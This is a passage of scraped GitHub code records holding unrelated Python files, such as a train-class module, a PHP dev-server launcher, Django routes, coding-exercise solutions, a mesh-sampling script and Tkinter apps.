lok_listas.append(lokomotyvai)\n\n if(traukinys.vagonas != 0):\n vag_listas = []\n for j in range(0, len(traukinys.vagonas)):\n vagonai = {}\n vagonai = {\n \"ID\": traukinys.vagonas[j].getVagId(),\n \"mase\": traukinys.vagonas[j].getVagMase(),\n \"max_mase\": traukinys.vagonas[j].getVagMaxMase(),\n \"kroviniu_mase\": traukinys.vagonas[j].getVagMaseKroviniu()}\n vag_listas.append(vagonai)\n\n traukiniai = {\n \"Pavadinimas\": traukinys.nameTraukinys,\n \"visa kroviniu mase\": traukinys.kroviniuMase,\n \"galia\": traukinys.tempGalia,\n \"visa traukinio mase\": traukinys.visaMase,\n \"lokomotyvai\": lok_listas,\n \"vagonai\": vag_listas\n }\n json.dump(traukiniai, fp)\n fp.write(\"\\n\")\n fp.close()\n\n def __sub__(a, b):\n return a - b\n\n\ndef skaityti():\n data = []\n return_listas = []\n with open('trauk_sąrašas.json', 'r') as failas:\n for i in failas:\n data.append(json.loads(i))\n\n for item in data:\n new_train = Traukinys(item[\"Pavadinimas\"])\n new_train.add_lok(item[\"visa traukinio mase\"],\n item[\"visa kroviniu mase\"],\n item[\"galia\"])\n for j in item[\"vagonai\"]:\n temp_vagonas = Vagonas(j[\"ID\"], j[\"mase\"],\n j[\"max_mase\"])\n temp_vagonas.set_mas_krov(j[\"kroviniu_mase\"])\n new_train.vagonas.append(temp_vagonas)\n\n for z in item[\"lokomotyvai\"]:\n temp_lokomotyvas = Lokomotyvas(z[\"lokomotyvas\"], z[\"mase\"],\n z[\"galia\"])\n new_train.lokomotyvas.append(temp_lokomotyvas)\n return_listas.append(new_train)\n return return_listas\n\n\n def __len__(self,):\n return self._len__\n\n def get_id(self):\n return id\n\n if __name__ == \"__main__\":\n \tdoctest.testmod()\n","repo_name":"orkas999/atsiskaitymas","sub_path":"traukinys.py","file_name":"traukinys.py","file_ext":"py","file_size_in_byte":7056,"program_lang":"python","lang":"lt","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"574286028","text":"import pickle\n\nimport pyLDAvis\nimport pyLDAvis.gensim_models as gensimvis\n\nyear = \"2019\"\nfileModelName = './model/lda_model_EU_REG_year-' + year + '.dat'\nfileCampusName = './model/lda_model_EU_REG_year-' + year + '_campus.dat'\noutputFile = 'LDA_EU_REG_year-' + year + '_topics.html'\n\n\ndef deserializeFile(file_name):\n print(\"\\nLoading \", file_name)\n with open(file_name, 'rb') as f:\n corpus = pickle.load(f)\n return corpus\n\n\nlda_model = deserializeFile(fileModelName)\ncorpus = deserializeFile(fileCampusName)\nprint(\"Loaded Regulations model and corpus data.\")\n\nprint(\"Preparing visualisation... \")\nvisualisation = gensimvis.prepare(lda_model, corpus, lda_model.id2word, mds=\"mmds\", R=30)\npyLDAvis.save_html(visualisation, outputFile)\nprint(\"Created Visualization file: \", outputFile)\n","repo_name":"ermalaliraj/bigdata_and_ai","sub_path":"ai/eur-lex-integration/python2/load_model_and_showTopicsWithGensimvis.py","file_name":"load_model_and_showTopicsWithGensimvis.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"30106324592","text":"from tkinter.ttk import Separator\nfrom bs4 import BeautifulSoup\nfrom urllib.request import urlopen \ndef gethub(profilename):\n \n WebPageAddres = f\"https://github.com/{profilename}\"\n\n\n file = urlopen(WebPageAddres)\n html = file.read()\n soup = BeautifulSoup(html,'html.parser')\n \n content=soup.body.find('ol',{'class':\"d-flex flex-wrap list-style-none gutter-condensed mb-4\"})\n for new in content:\n news= ' '.join(new.get_text(strip=True, separator=\" \").split())\n print(news)\n \nprofilename=input(\"enter your gethub profilename:\")\ngethub(profilename)","repo_name":"yashzadafiya5/pythoncode","sub_path":"newexcersice/mstnew11.py","file_name":"mstnew11.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"24738897577","text":"from django.urls import path, re_path\nfrom django.views.generic import ListView, DetailView\nfrom news.models import Products\nfrom news import views\n\napp_name = 'news'\n\n\"\"\"\nКонфігурація URL для додатку \"news\".\n\n`urlpatterns` містить список шляхів до відображень. Для отримання додаткової інформації дивіться:\n https://docs.djangoproject.com/en/1.8/topics/http/urls/\n\nПриклади:\nФункційні відображення\n 1. Додайте імпорт: from my_app import views\n 2. Додайте URL до urlpatterns: url(r'^$', views.home, name='home')\n\nВідображення на основі класів\n 1. Додайте імпорт: from other_app.views import Home\n 2. Додайте URL до urlpatterns: url(r'^$', Home.as_view(), name='home')\n\nВключення іншого URLconf\n 1. Додайте імпорт: from blog import urls as blog_urls\n 2. Додайте URL до urlpatterns: url(r'^blog/', include(blog_urls))\n\"\"\"\nurlpatterns = [\n path('', views.index, name='index'),\n path('TShirts', views.productFilter, name='tshirt-filter'),\n path('Shoes', views.productFilter, name='shoes-filter'),\n path('Bags', views.productFilter, name='bags-filter'),\n path('Sweatshirts', views.productFilter, name='sweatshirts-filter'),\n path('Hats', views.productFilter, name='hats-filter'),\n re_path(r'^comments/(?P\\w+)$', views.showComments, name='show-comments'),\n re_path(r'^deleteCookie/(?P\\w+)$', views.deleteCookie, name='delete-cookie'),\n re_path(r'^addComment/(?P\\w+)/(?P\\w+)/(?P\\w+|)/(?P\\w+|)/(?P[\\w\\-]+)$', views.addComment, name='add-comment'),\n path('', views.DetailView.as_view(), name='detail'),\n path('products/create', views.productCreate, name='products-create'),\n]\n","repo_name":"vladsakun/webmarketpython-university","sub_path":"news/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1933,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"40861719418","text":"# Enter your code here. Read input from STDIN. Print output to STDOUT\nstorage = set(input().split())\nN = int(input())\noutput = True\n\nfor i in range(N):\n storage2 = set(input().split())\n if not storage2.issubset(storage):\n output = False\n if len(storage2) >= len(storage):\n output = False\n\nprint(output)\n","repo_name":"nikhilv2/Competitive_coding_practice_python","sub_path":"Check Strict Superset/Answer.py","file_name":"Answer.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"30806994195","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nfrom collections import deque\nclass Solution:\n def invertTree(self, root: TreeNode) -> TreeNode:\n que = deque()\n if root:\n que.append(root)\n while len(que) > 0:\n size = len(que)\n for _ in range(size):\n cur = que.popleft()\n cur.left, cur.right = cur.right, cur.left\n if cur.left:\n que.append(cur.left)\n if cur.right:\n que.append(cur.right)\n return root","repo_name":"qinhanhu/leetcode","sub_path":"l226_invert_binaryTree.py","file_name":"l226_invert_binaryTree.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"4976013640","text":"# 024 문자열의 마지막 패턴 매칭\n#\n# 파일 이름이 다음과 같을 때 확장자가 .py 이면 'python file'를 출력하고 아니면 'unknown extension'을 출력하는 프로그램을 작성하라.\n#\n# filename = \"run.py\"\n#\n# 출력 예:\n# python file\nfilename = \"run.py\"\nif filename.endswith('.py'):\n print('python file')\nelse:\n print('unknown extension')\n","repo_name":"hansolJu/PythonTutorial","sub_path":"021_030/024.py","file_name":"024.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"36430463402","text":"from interfaz_grafica.componentes_personalizados.botones.BotonPersonalizado import BotonPersonalizado\nfrom interfaz_grafica.componentes_personalizados.botones.BotonSeleccionManera import BotonSeleccionManera\nfrom interfaz_grafica.componentes_personalizados.componentes_multiples.AreaDeInformacion import AreaDeInformacion\nfrom interfaz_grafica.componentes_personalizados.frames.FramePersonalizadoExtra import FramePersonalizadoExtra\nfrom interfaz_grafica.componentes_personalizados.componentes_multiples.CampoConTitulo import CampoConTitulo\nfrom interfaz_grafica.frames_unidades.unidad3.colas.ColaCircular import ColaCircular\nfrom interfaz_grafica.frames_unidades.unidad3.colas.ColaSimple import ColaSimple\nfrom tkinter import Frame, simpledialog\n\n\nclass FrameColas(FramePersonalizadoExtra):\n\n def __init__(self, master, titulo):\n super().__init__(master=master, titulo=titulo)\n self.separacion = 100\n self.selecion = \"simple\"\n\n\n self.boton_selccion_simple = BotonSeleccionManera(master=self, nombre_boton=\"Simple\",\n nombre_funcion=self.seleccion_cola_simple)\n self.boton_selccion_simple.place(x=39, y=75)\n\n self.boton_selccion_cicular = BotonSeleccionManera(master=self, nombre_boton=\"Circular\",\n nombre_funcion=self.seleccion_cola_circular)\n self.boton_selccion_cicular.place(x=189, y=75)\n\n self.campo = CampoConTitulo(master=self.canvas, titulo=\"Ingresa un numero:\")\n self.campo.campo.configure(width=602)\n self.lista_componentes.append(self.campo)\n\n self.frame = Frame(width=602, bg=\"#FFFFFF\", height=44)\n self.lista_componentes.append(self.frame)\n\n self.agregar_boton = BotonPersonalizado(master=self.frame, nombre_boton=\"Agregar\", funcion_boton=self.agregar_funcion)\n self.agregar_boton.pack(side=\"left\", padx=20)\n\n self.eliminar_boton = BotonPersonalizado(master=self.frame, nombre_boton=\"Eliminar\", funcion_boton=self.eliminar_funcion)\n self.eliminar_boton.configure(border_color=\"#FF0000\", fg_color=\"#FFCCCC\", text_color=\"#FF0000\")\n self.eliminar_boton.pack(side=\"left\", padx=20)\n\n self.area_texto = AreaDeInformacion(master = self.canvas, titulo=\"Aqui se muestra la cola\")\n self.lista_componentes.append(self.area_texto)\n\n self.agregar_lista_componentes(self.lista_componentes)\n self.tamaño = simpledialog.askinteger(\"\",\"Cual es el tamaño de tu lista?\")\n\n self.comunicador = ColaSimple(self.tamaño)\n self.seleccion_cola_simple()\n\n def seleccion_cola_simple(self):\n self.seleccion = \"simple\"\n self.boton_selccion_cicular.deseleccionado()\n self.boton_selccion_simple.seleccionado()\n self.limpiar_valores()\n self.comunicador = ColaSimple(self.tamaño)\n\n\n def seleccion_cola_circular(self):\n self.seleccion = \"circular\"\n self.boton_selccion_simple.deseleccionado()\n self.boton_selccion_cicular.seleccionado()\n self.limpiar_valores()\n self.comunicador = ColaCircular(self.tamaño)\n\n def agregar_funcion(self):\n dato = int(self.campo.obtener_datos())\n if self.selecion == \"simple\":\n self.comunicador.insertarElemento(dato)\n elif self.selecion == \"circular\":\n self.comunicador.insertarElemento(dato)\n\n self.campo.limpiar_campo()\n self.mostrar_cola()\n\n def eliminar_funcion(self):\n if self.selecion == \"simple\":\n self.comunicador.eliminarElemento()\n elif self.selecion == \"circular\":\n self.comunicador.eliminarElemento()\n\n self.mostrar_cola()\n\n\n def mostrar_cola(self):\n self.area_texto.limpiar_area()\n self.lista1 = self.comunicador.getCola()\n self.lista = [f\"{i} → \" for i in self.lista1 if i is not None]\n\n # Eliminar la flecha después del último elemento\n if self.lista:\n self.lista[-1] = self.lista[-1].rstrip(\" → \")\n\n self.area_texto.mostrar_texto_concatenado(\"\".join(self.lista))\n\n def limpiar_valores(self):\n self.campo.limpiar_campo()\n self.comunicador.limpiar_valores()\n self.area_texto.limpiar_area()","repo_name":"Louis-Alamo/InterfazEstructuraDeDatos","sub_path":"interfaz_grafica/frames_unidades/unidad3/colas/FrameColas.py","file_name":"FrameColas.py","file_ext":"py","file_size_in_byte":4258,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"39314864405","text":"import trimesh\nimport os\nimport numpy as np\n\nimport matplotlib.pyplot as plt\n\nfrom mpl_toolkits.mplot3d import Axes3D\n\n\nnum_samplemesh_inout = 4000\nSAMPLING_SIGMA = 0.1\ndef select_sampling_method(mesh): \n '''if not is_train:\n random.seed(1991)\n np.random.seed(1991)\n torch.manual_seed(1991)'''\n #表面采样\n surface_points, _ = trimesh.sample.sample_surface(mesh, 4*num_samplemesh_inout)\n sample_points = surface_points + np.random.normal(scale=SAMPLING_SIGMA, size=surface_points.shape)\n \n #add random points within generating space\n length = 1\n MIN = -0.5\n random_points = np.random.rand(num_samplemesh_inout // 4, 3)*length + MIN\n sample_points = np.concatenate([sample_points, random_points], axis=0)\n np.random.shuffle(sample_points) #(N,3)\n sub_surface_points = surface_points[:num_samplemesh_inout//4,:]\n sample_points = np.concatenate([sub_surface_points, sample_points],axis=0)\n \n #label the points\n inside_idx = mesh.contains(sample_points)\n inside_idx[:num_samplemesh_inout//4] = 1\n inside_points = sample_points[inside_idx]\n outside_points = sample_points[np.logical_not(inside_idx)]\n \n n_in = inside_points.shape[0]\n #限制点的个数\n n_s = num_samplemesh_inout // 2\n inside_points = inside_points[\n :n_s] if n_in > n_s else inside_points\n outside_points = outside_points[\n :n_s] if n_in > n_s else outside_points[:(num_samplemesh_inout-n_in)]\n \n samples = np.concatenate([inside_points, outside_points], 0) #(N,3)\n labels = np.concatenate([np.ones((1, inside_points.shape[0])),\n np.zeros((1,outside_points.shape[0]))], axis=1) #(1,N)\n \n #shuffle\n s_idx = np.arange(num_samplemesh_inout)\n np.random.shuffle(s_idx)\n samples = samples[s_idx,:]\n labels = labels[:,s_idx]\n\n \n return {\n 'samples': samples,\n 'labels': labels\n }\n\ndef draw_ptcloud(ptcloud, mesh):\n fig = plt.figure(figsize=(8, 8))\n\n x, z, y = ptcloud.transpose(1, 0)\n ax = plt.axes(projection='3d')\n ax.axis('off')\n #ax.axis('scaled')\n ax.view_init(30, 45)\n\n #max, min = np.max(ptcloud), np.min(ptcloud)\n p_max = 0.6\n p_min = -0.6\n ax.set_xbound(p_min, p_max)\n ax.set_ybound(p_min, p_max)\n ax.set_zbound(p_min, p_max)\n \n dx = 1.2\n xx = [p_min, p_max, p_max, p_min, p_min]\n yy = [p_max, p_max, p_min, p_min, p_max]\n kwargs1 = {'linewidth':1, 'color':'black', 'linestyle':'-'}\n kwargs2 = {'linewidth':1, 'color':'black', 'linestyle':'--'}\n ax.plot(xx, yy, p_max, **kwargs1)\n ax.plot(xx[:3], yy[:3], p_min, **kwargs1)\n ax.plot(xx[2:], yy[2:], p_min, **kwargs2)\n for n in range(3):\n ax.plot([xx[n], xx[n]], [yy[n], yy[n]], [p_min, p_max], **kwargs1)\n ax.plot([xx[3], xx[3]], [yy[3], yy[3]], [p_min, p_max], **kwargs2)\n \n ax.scatter(x, y, z, zdir='z', c=x, cmap='jet')\n \n #draw mesh\n xx = mesh.vertices[:,0]\n zz = mesh.vertices[:,1]\n yy = mesh.vertices[:,2]\n tri_idx = mesh.faces\n ax.plot_trisurf(xx, yy, zz, triangles=tri_idx, color=(1,1,1,0.1))\n\n fig.canvas.draw()\n #img = np.fromstring(fig.canvas.tostring_rgb(), dtype=np.uint8, sep='')\n #img = img.reshape(fig.canvas.get_width_height()[::-1] + (3, ))\n #return img\n plt.show()\n\n \n\n#root_dir = '/home/manager/Desktop/model_manifoldplus.obj'\nroot_dir = '/home/manager/data/ShapeCompletion/pcd_2048/train/complete/02876657/4301fe10764677dcdf0266d76aa42ba/o1_manifold_plus.obj'\nmesh = trimesh.load(root_dir, process=False)\n\nif not mesh.is_watertight:\n face_idx = trimesh.repair.broken_faces(mesh)\n trimesh.repair.fill_holes(mesh)\n print('hole filled: ',mesh.is_watertight)\n\nlabel_dict = select_sampling_method(mesh)\n\nsamples = label_dict['samples']\nlabels = label_dict['labels']\n\npoint_cloud = samples[(labels[0] > 0.5)]\n\ndraw_ptcloud(point_cloud, mesh)\n","repo_name":"LiuLiuJerry/TouchNet","sub_path":"TouchNet/utils/test_sampling_inout.py","file_name":"test_sampling_inout.py","file_ext":"py","file_size_in_byte":4083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"9249035689","text":"# Tool Name :- MyServer\n# Author :- Rajkumar Dusad\n# Date :- 22/5/2018 - 22/July/2019\n# Powered By :- Aex Software's\n\nimport sys\nimport os\nfrom time import sleep\nfrom system import *\nfrom logo import *\n\nclass phpserver(object):\n def chphp(self):\n if os.path.exists(bpath+\"php\"):\n self.chkp()\n else:\n Mylogo()\n print(\"\\n\\n\\033[01;31m Sorry we can't install \\033[01;33mPHP\\033[01;31m in your \"+system+\".\\033[00m\")\n sleep(3)\n\n def chkp(self):\n getpat=sys.argv[4]\n getp=sys.argv[3]\n host=sys.argv[2]\n os.system(\"python modules/.srvr.aex\")\n Mylogo()\n print(\"\\n\\033[01;33mStarting Server ......\\033[00m\\n\")\n if os.path.exists(getpat+\"/index.html\") or os.path.exists(getpat+\"index.html\") or os.path.exists(getpat+\"/index.php\") or os.path.exists(getpat+\"index.php\"):\n pass\n else:\n if system==\"ubuntu\":\n os.system(\"sudo cp core/index.sh \"+getpat)\n os.system(\"cd \"+getpat+\" && sudo sh index.sh\")\n os.system(\"cd \"+getpat+\" && sudo rm index.sh\")\n else:\n os.system(\"cp core/index.sh \"+getpat)\n os.system(\"cd \"+getpat+\" && sh index.sh\")\n os.system(\"cd \"+getpat+\" && rm index.sh\")\n os.system(\"php -S \"+host+\":\"+getp+\" -t \"+getpat)\n print(\"\\n\\007\\033[01;31m unfortunately server stopped\\n\\033[00m\")\n sys.exit()\n\ndef inphp():\n if system==\"termux\":\n os.system(pac+\" update\")\n os.system(pac+\" install php -y\")\n os.system(pac+\" install php-mysqli -y\")\n else:\n os.system(pac+\" update\")\n os.system(pac+\" install php -y\")\n os.system(pac+\" install php5 -y\")\n os.system(pac+\" install php5-mysql -y\")\n os.system(pac+\" install php5-mysqli -y\")\n\ndef php():\n if os.path.exists(bpath+\"php\"):\n phpserver().chkp()\n else:\n Mylogo()\n print(\"\\n\\n\\033[01;31m [\\033[01;33m+\\033[01;31m] \\033[01;36mPHP \\033[01;31mis not installed in your \"+system+\".\")\n opt=input(\"\\n\\033[01;33m Do you want to install PHP [\\033[01;32mY/n\\033[01;33m] >>\\033[00m\")\n if opt==\"y\" or opt==\"Y\":\n Mylogo()\n print(\"\\n\\033[01;33minstalling PHP ......\\033[00m\\n\")\n sleep(1)\n inphp()\n phpserver().chphp()","repo_name":"rajkumardusad/MyServer","sub_path":"core/php.py","file_name":"php.py","file_ext":"py","file_size_in_byte":2127,"program_lang":"python","lang":"en","doc_type":"code","stars":471,"dataset":"github-code","pt":"27"} +{"seq_id":"41753322505","text":"from typing import Callable, List\n\nfrom aiogram.types import InlineKeyboardButton\nfrom aiogram.utils.keyboard import InlineKeyboardBuilder\nfrom sqlalchemy.ext.asyncio import AsyncSession\n\nfrom config import Config\nfrom keyboards.inline.inline import BackMarkupInline\n\n\nasync def generate_pagination(session: AsyncSession, config: Config, build_page_func: Callable,\n table_filters: dict = None,\n start_index: int = 0, step: int = None, row_width: int = 1,\n start_text: str = '', start_buttons: List[dict] = None,\n show_back_button: bool = True, build_page_data: dict = None):\n # set default values\n step = step if step else config.misc.default_pagination_step\n table_filters = table_filters if table_filters else {}\n row_width = row_width if row_width else 1\n\n # build page\n text, buttons, items_count = await build_page_func(session, table_filters, start_index, step, build_page_data)\n\n # add start text\n if start_text:\n text = start_text + '\\n' + text\n\n # build markup\n markup = InlineKeyboardBuilder()\n\n # add start buttons\n if start_buttons:\n markup.add(*[InlineKeyboardButton(text=button['text'],\n callback_data=button['callback_data'])\n for button in start_buttons])\n\n # add page content buttons\n if buttons:\n markup.add(*buttons)\n else:\n markup.add(InlineKeyboardButton(text='🚫 Еще ничего нет 🚫', callback_data='do_not_click'))\n\n markup.adjust(row_width)\n\n # add control buttons\n control_buttons = []\n if start_index - step >= 0:\n control_buttons.append(InlineKeyboardButton(text='⬅️', callback_data=f'prev:{start_index}:{step}'))\n if start_index + step <= items_count:\n control_buttons.append(InlineKeyboardButton(text='➡️', callback_data=f'next:{start_index}:{step}'))\n markup.add(*control_buttons)\n markup.adjust(1)\n\n # add back button (optional)\n if show_back_button:\n markup.add(BackMarkupInline.back_button)\n markup.adjust(1)\n\n return text, markup.as_markup()\n","repo_name":"nikonych/ref_bot","sub_path":"utils/misc/pagination.py","file_name":"pagination.py","file_ext":"py","file_size_in_byte":2206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"70050357512","text":"import tkinter as tk\n\nroot = tk.Tk()\n\n# Create canvas\ncanvas1 = tk.Canvas(root, width=800, height=500, relief='raised')\ncanvas1.pack()\n\n# Display payoff table\npayoff_table = tk.Label(root, text='Number thrown:\\t1\\t2\\t3\\t4\\t5\\t6\\nResulting payoff:\\t£1\\t£2\\t£3\\t£4\\t£5\\t£0')\npayoff_table.config(font=('helvetica', 12), justify='right')\ncanvas1.create_window(400, 75, window=payoff_table)\n\n# Define payoff rates\npayoff = [1, 2, 3, 4, 5, 0]\n\n# Participant ID\npartID = tk.Label(root, text='Participant ID:')\npartID.config(font=('helvetica', 12), justify='right')\ncanvas1.create_window(200, 125, window=partID)\n\npartID_entry = tk.Entry(root)\ncanvas1.create_window(350, 125, window=partID_entry)\n\ninstruc = tk.Label(root, text='Please enter the number, i.e. the first number you have thrown:')\ninstruc.config(font=('helvetica', 14))\ncanvas1.create_window(400, 200, window=instruc)\n\n# Number thrown input\nnum_throw = tk.Label(root, text='Number thrown:')\nnum_throw.config(font=('helvetica', 12), justify='right')\ncanvas1.create_window(350, 250, window=num_throw)\n\nnum_throw_entry = tk.Entry(root)\ncanvas1.create_window(500, 250, window=num_throw_entry)\n\n\n# on button click, show thank you display and display payoff rate\ndef getpayoff():\n x1 = num_throw_entry.get()\n x1_num = int(x1)\n\n fileid = partID_entry.get()\n with open('honesty_' + fileid + '.txt', 'w') as file_object:\n file_object.write(x1)\n\n canvas1.delete(\"all\")\n finishdisp = tk.Label(root, text='Thank you!\\nYour payoff is £' + str(payoff[x1_num - 1]) + '.',\n font=('helvetica', 14, 'bold'))\n canvas1.create_window(400, 200, window=finishdisp)\n\n\n# Create button\nbutton1 = tk.Button(text='Submit', command=getpayoff, bg='green', fg='white',\n font=('helvetica', 14, 'bold'))\ncanvas1.create_window(400, 350, window=button1)\n\nroot.mainloop()\n","repo_name":"j2bryson/notBODPepper","sub_path":"Honesty/honesty.py","file_name":"honesty.py","file_ext":"py","file_size_in_byte":1871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"70547179271","text":"import unittest\n\n# SPAR imports:\nimport spar_python.report_generation.common.results_database as results_database\nimport spar_python.report_generation.ta1.ta1_schema as t1s\nfrom spar_python.report_generation.ta1.ta1_database_test import set_up_static_db\n\nBASELINE_NAME = \"baseline\"\nPERFORMER_NAME = \"white knight\"\nTESTCASEID1 = \"TC001\"\nTESTCASEID2 = \"TC002\"\n\nclass ResultsDatabaseTest(unittest.TestCase):\n\n def setUp(self):\n self.database = results_database.ResultsDB(\n db_path=\":memory:\", schema=t1s.Ta1ResultsSchema())\n set_up_static_db(self.database)\n\n def tearDown(self):\n self.database.close()\n\n def test_to_values_list(self):\n list_of_tuples = [(1, \"nose\", 6.2), (2, \"ears\", 7.4)]\n values_list = [[1, 2], [\"nose\", \"ears\"], [6.2, 7.4]]\n self.assertEqual(self.database.to_values_list(list_of_tuples),\n values_list)\n\n def test_build_constraint(self):\n static_constraint = \"%s.%s=10 AND %s.%s='age=24'\" % (\n t1s.DBA_TABLENAME, t1s.DBA_AQID, t1s.DBA_TABLENAME,\n t1s.DBA_WHERECLAUSE)\n generated_constraint = self.database.build_constraint(\n [(t1s.DBA_TABLENAME, t1s.DBA_AQID, 10),\n (t1s.DBA_TABLENAME, t1s.DBA_WHERECLAUSE, \"age=24\")])\n self.assertEqual(generated_constraint, static_constraint)\n\n def test_build_query_cmd(self):\n fields = [(t1s.DBA_TABLENAME, t1s.DBA_WHERECLAUSE),\n (t1s.DBA_TABLENAME, t1s.DBA_AQID)]\n constraint_list = [(t1s.DBA_TABLENAME, t1s.DBA_AQID, 1)]\n static_cmd = (\"SELECT \" + t1s.DBA_TABLENAME + \".\" + t1s.DBA_WHERECLAUSE\n + \", \" + t1s.DBA_TABLENAME + \".\" + t1s.DBA_AQID +\n \" FROM \" + t1s.DBA_TABLENAME + \n \" WHERE \" + t1s.DBA_TABLENAME + \".\" + t1s.DBA_AQID + \"=1\")\n generated_cmd = self.database.build_query_cmd(fields, constraint_list)\n self.assertEqual(generated_cmd, static_cmd)\n\n def test_add(self):\n fqid1 = 100\n frow1 = {t1s.DBF_FQID: fqid1,\n t1s.DBF_CAT: \"Eq\",\n t1s.DBF_NUMRECORDS: 1000,\n t1s.DBF_RECORDSIZE: 100,\n t1s.DBF_WHERECLAUSE: 'fname=\"Grettle\"'}\n prow1 = {t1s.DBP_PERFORMERNAME: PERFORMER_NAME,\n t1s.DBP_TESTCASEID: TESTCASEID1,\n t1s.DBP_FQID: fqid1,\n t1s.DBP_SELECTIONCOLS: \"id\",\n t1s.DBP_SENDTIME: 123.00,\n t1s.DBP_RESULTSTIME: 128.00,\n t1s.DBP_QUERYLATENCY: 5.00,\n t1s.DBP_ISMODIFICATIONQUERY: False,\n t1s.DBP_ISTHROUGHPUTQUERY: False}\n fqid2 = 200\n frow2 = {t1s.DBF_FQID: fqid2,\n t1s.DBF_CAT: \"Eq\",\n t1s.DBF_NUMRECORDS: 1000,\n t1s.DBF_RECORDSIZE: 100,\n t1s.DBF_WHERECLAUSE: 'fname=\"Hansel\"'}\n prow2 = {t1s.DBP_PERFORMERNAME: PERFORMER_NAME,\n t1s.DBP_TESTCASEID: TESTCASEID1,\n t1s.DBP_FQID: fqid2,\n t1s.DBP_SELECTIONCOLS: \"id\",\n t1s.DBP_SENDTIME: 128.00,\n t1s.DBP_RESULTSTIME: 130.00,\n t1s.DBP_QUERYLATENCY: 5.00,\n t1s.DBP_ISMODIFICATIONQUERY: False,\n t1s.DBP_ISTHROUGHPUTQUERY: False}\n self.database.add_row(t1s.DBF_TABLENAME, frow1)\n self.database.add_row(t1s.DBF_TABLENAME, frow2)\n self.database.add_row(t1s.DBP_TABLENAME, prow1)\n self.database.add_row(t1s.DBP_TABLENAME, prow2)\n all_fqids = self.database.get_unique_values(\n fields=[(t1s.DBP_TABLENAME, t1s.DBP_FQID)])\n self.assertTrue(fqid1 in all_fqids)\n self.assertTrue(fqid2 in all_fqids)\n \n def test_add_two_rows(self):\n fqid1 = 100\n frow1 = {t1s.DBF_FQID: fqid1,\n t1s.DBF_CAT: \"Eq\",\n t1s.DBF_NUMRECORDS: 1000,\n t1s.DBF_RECORDSIZE: 100,\n t1s.DBF_WHERECLAUSE: 'fname=\"Grettle\"'}\n prow1 = {t1s.DBP_PERFORMERNAME: PERFORMER_NAME,\n t1s.DBP_TESTCASEID: TESTCASEID1,\n t1s.DBP_FQID: fqid1,\n t1s.DBP_SELECTIONCOLS: \"id\",\n t1s.DBP_SENDTIME: 123.00,\n t1s.DBP_RESULTSTIME: 128.00,\n t1s.DBP_QUERYLATENCY: 5.00,\n t1s.DBP_ISMODIFICATIONQUERY: False,\n t1s.DBP_ISTHROUGHPUTQUERY: False}\n fqid2 = 200\n frow2 = {t1s.DBF_FQID: fqid2,\n t1s.DBF_CAT: \"Eq\",\n t1s.DBF_NUMRECORDS: 1000,\n t1s.DBF_RECORDSIZE: 100,\n t1s.DBF_WHERECLAUSE: 'fname=\"Hansel\"'}\n prow2 = {t1s.DBP_PERFORMERNAME: PERFORMER_NAME,\n t1s.DBP_TESTCASEID: TESTCASEID1,\n t1s.DBP_FQID: fqid2,\n t1s.DBP_SELECTIONCOLS: \"id\",\n t1s.DBP_SENDTIME: 128.00,\n t1s.DBP_RESULTSTIME: 130.00,\n t1s.DBP_QUERYLATENCY: 5.00,\n t1s.DBP_ISMODIFICATIONQUERY: False,\n t1s.DBP_ISTHROUGHPUTQUERY: False}\n self.database.add_rows(t1s.DBF_TABLENAME, [frow1, frow2])\n self.database.add_rows(t1s.DBP_TABLENAME, [prow1, prow2])\n all_fqids = self.database.get_unique_values(\n fields=[(t1s.DBP_TABLENAME, t1s.DBP_FQID)])\n self.assertTrue(fqid1 in all_fqids)\n self.assertTrue(fqid2 in all_fqids)\n\n def test_is_populated(self):\n self.assertTrue(self.database.is_populated(\n t1s.DBP_TABLENAME, t1s.DBP_FQID))\n self.assertFalse(self.database.is_populated(\n t1s.DBP_TABLENAME, t1s.DBP_ISCORRECT))\n","repo_name":"mit-ll/SPARTA","sub_path":"spar_python/report_generation/common/results_database_test.py","file_name":"results_database_test.py","file_ext":"py","file_size_in_byte":5689,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"27"} +{"seq_id":"37295545887","text":"from tkinter import *\r\nfrom tkinter import filedialog\r\nfrom tkinter.scrolledtext import *\r\n\r\nimport requests\r\nimport base64\r\nfrom googleapiclient.discovery import build\r\nimport pytube\r\nfrom textblob import TextBlob\r\nfrom moviepy.editor import VideoFileClip, concatenate_videoclips\r\n\r\nimport random\r\nimport webbrowser\r\n\r\nimport os\r\nfolder = \"\"\r\nglobal screen1\r\n\r\n\r\ndef del1():\r\n errorscreen.destroy()\r\n\r\n\r\ndef del2():\r\n errorscreen2.destroy()\r\n\r\n\r\ndef del3():\r\n errorscreen3.destroy()\r\n\r\n\r\ndef del4():\r\n errorscreen4.destroy()\r\n\r\n\r\ndef del5():\r\n errorscreen5.destroy()\r\n\r\n\r\ndef del6():\r\n errorscreen6.destroy()\r\n\r\n\r\ndef del7():\r\n completed.destroy()\r\n console1.destroy()\r\n\r\n\r\ndef choosefolder():\r\n global folder\r\n folder1 = frame.filename = filedialog.askdirectory(initialdir=\"/\", title=\"Select a folder\")\r\n Label(frame, text=folder1).grid(row=12, 